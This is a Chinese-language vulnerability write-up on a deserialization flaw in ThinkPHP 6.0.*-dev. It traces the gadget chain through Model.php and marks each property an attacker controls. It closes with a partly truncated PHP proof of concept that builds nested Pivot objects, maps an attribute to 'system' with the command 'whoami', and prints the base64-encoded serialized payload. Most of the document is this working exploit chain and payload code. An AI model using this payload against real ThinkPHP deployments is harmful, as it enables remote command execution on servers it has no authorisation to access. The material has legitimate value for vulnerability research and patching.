Thinkphp_6.0._-dev_反序列化漏洞

# Thinkphp 6.0.*-dev 反序列化漏洞

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一、漏洞简介
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所有Thinkphp版本下载链接

二、漏洞影响
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三、复现过程
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### 环境搭建

composer create-project topthink/think=6.0.*-dev v6.0

### poc演示截图


### 调用链


### 单步调试

//vendor\topthink\think-orm\src\Model.php
public function __destruct()
{
if ($this->lazySave) { //$this->lazySave可控
$this->save();
}
}
//vendor\topthink\think-orm\src\Model.php
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’)) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控

if (false === $result) {
return false;
}
//vendor\topthink\think-orm\src\Model.php
public function isEmpty(): bool
{
return empty($this->data); //可控
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) { //可控
return true;
}
…
}
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger(‘BeforeUpdate’)) { //可控
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) { //$data可控
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
//$this->force可控
return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) { //$this->field可控
if (!empty($this->schema)) { //$this->schema可控
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection) //$this->connection可控
->name($this->name . $this->suffix) //$this->suffix可控，采用拼接，调用_toString
->pk($this->pk);

后面的链跟之前的一样，这里就不分析了


### poc v6.0.\*-dev

data = array(“wh1t3p1g”=>”whoami”);
$this->relation = array(“wh1t3p1g”=>[]);
$this->visible= array(“wh1t3p1g”=>[]);
$this->withAttr = array(“wh1t3p1g”=>”system”);
}else{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->data = array(“wh1t3p1g”=>[]);
$this->connection = “mysql”;
$this->suffix = $obj;
}
}
}
}

namespace think\model {
class Pivot extends \think\Model{
function __construct($obj)
{
parent::__construct($obj);
}
}
}

namespace {
$pivot1 = new \think\model\Pivot(null);
$pivot2 = new \think\model\Pivot($pivot1);
echo base64_encode(serialize($pivot2));